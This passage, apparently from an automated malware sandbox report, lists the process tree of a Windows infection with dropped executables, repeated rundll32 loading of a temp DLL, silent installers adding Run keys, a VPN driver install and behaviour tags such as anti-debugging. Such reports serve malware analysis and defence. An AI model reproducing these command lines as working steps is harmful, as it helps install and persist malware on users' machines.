C:\Users\Admin\AppData\Local\Temp\c2k12bqz.gcc\any.exe"C:\Users\Admin\AppData\Local\Temp\c2k12bqz.gcc\any.exe" -u10⤵PID:2068
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bn5xfybe.3ty\gcleaner.exe /mixfive & exit8⤵PID:8496
-
C:\Users\Admin\AppData\Local\Temp\bn5xfybe.3ty\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\bn5xfybe.3ty\gcleaner.exe /mixfive9⤵PID:3288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\amfvbcho.yex\autosubplayer.exe /S & exit8⤵
- Suspicious use of SetWindowsHookEx
PID:6880
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17bbf11fdb575d.exeMon17bbf11fdb575d.exe1⤵
- Executes dropped EXE
PID:1180
-
C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17bffc2992eb3d.exeMon17bffc2992eb3d.exe /mixone1⤵
- Executes dropped EXE
PID:4252 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 6602⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3208
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 6762⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3136
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 6802⤵
- Executes dropped EXE
- Program crash
PID:4804
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 6362⤵
- Program crash
PID:2500
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 8842⤵
- Program crash
PID:5584
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 9322⤵
- Program crash
PID:5192
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 11522⤵
- Program crash
PID:6356
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5376 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:5828
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵PID:4324
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4808 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
PID:6404
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:5148
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:8596
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:8896
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
PID:8508 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 40BB4D39B46753C7285A90030BFEC791 C2⤵PID:7216
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 21939D635F63F3846A66B01A8D320DC9 C2⤵PID:6956
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 45040A370CC015B5E359C31147D60EE42⤵
- Blocklisted process makes network request
PID:3612
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\aipackagechainer.exe"2⤵
- Adds Run key to start application
PID:7776 -
C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\RequiredApplication_1\Settings%20Installation.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\RequiredApplication_1\Settings%20Installation.exe" -silent=1 -CID=778 -SID=778 -submn=default3⤵
- Adds Run key to start application
PID:900 -
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" "--ZgwMku75"4⤵
- Checks computer location settings
PID:1004 -
C:\Users\Admin\AppData\Roaming\Settings\Settings.exeC:\Users\Admin\AppData\Roaming\Settings\Settings.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Settings\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Settings\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Settings\User Data" --annotation=plat=Win64 --annotation=prod=Settings --annotation=ver=0.0.13 --initial-client-data=0x20c,0x210,0x214,0x1e8,0x218,0x7ff89517dec0,0x7ff89517ded0,0x7ff89517dee05⤵PID:6340
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --mojo-platform-channel-handle=1964 /prefetch:85⤵PID:7880
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --mojo-platform-channel-handle=1960 /prefetch:85⤵PID:4524
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=gpu-process --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1912 /prefetch:25⤵PID:7616
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Settings\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2692 /prefetch:15⤵
- Checks computer location settings
PID:1400
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Settings\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2640 /prefetch:15⤵
- Checks computer location settings
PID:7460
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --mojo-platform-channel-handle=3196 /prefetch:85⤵PID:7348
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=gpu-process --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3248 /prefetch:25⤵PID:2432
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --mojo-platform-channel-handle=484 /prefetch:85⤵PID:7852
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --mojo-platform-channel-handle=3616 /prefetch:85⤵PID:7228
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --mojo-platform-channel-handle=3724 /prefetch:85⤵PID:7904
-
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1892,8511661581425862090,678632248883483030,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1004_33545659" --mojo-platform-channel-handle=2036 /prefetch:85⤵PID:6884
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_293C.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites' -retry_count 10"3⤵
- Blocklisted process makes network request
PID:4108
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A9A53F72AE071983088856D928F7D1412⤵PID:2176
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:7716
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3C45EBA87E14F1144A55F7544201B869 E Global\MSI00002⤵PID:7300
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:8284 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:8756
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2300 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:8944
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2112
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5716 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6068
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:3968 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:9212
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
- Checks SCSI registry key(s)
PID:5040 -
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{58b9b76d-a58e-2c42-802e-074870877804}\oemvista.inf" "9" "4d14a44ff" "0000000000000170" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:3080
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000180"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Checks SCSI registry key(s)
PID:4388
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
- Checks SCSI registry key(s)
PID:8456
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:8480
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
PID:7752 -
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:6712
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:7588
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess1⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
PID:5480 -
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"2⤵PID:5256
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:1304
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:1984
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2212
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
PID:8748
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Loads dropped DLL
PID:4236
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4936
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8268
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2500
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:2364
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4736
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:2976
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4684
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:8412
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3180
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:8152
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:2176
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:8396
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:364
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca1⤵PID:7616
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5524
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6084
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5152
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4680
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:8096
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:9088
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:6428
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:8820
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:5332
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:6312
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8180
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7220
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6096
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8276
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
PID:308
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:228
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:8884
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4208
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2504
-
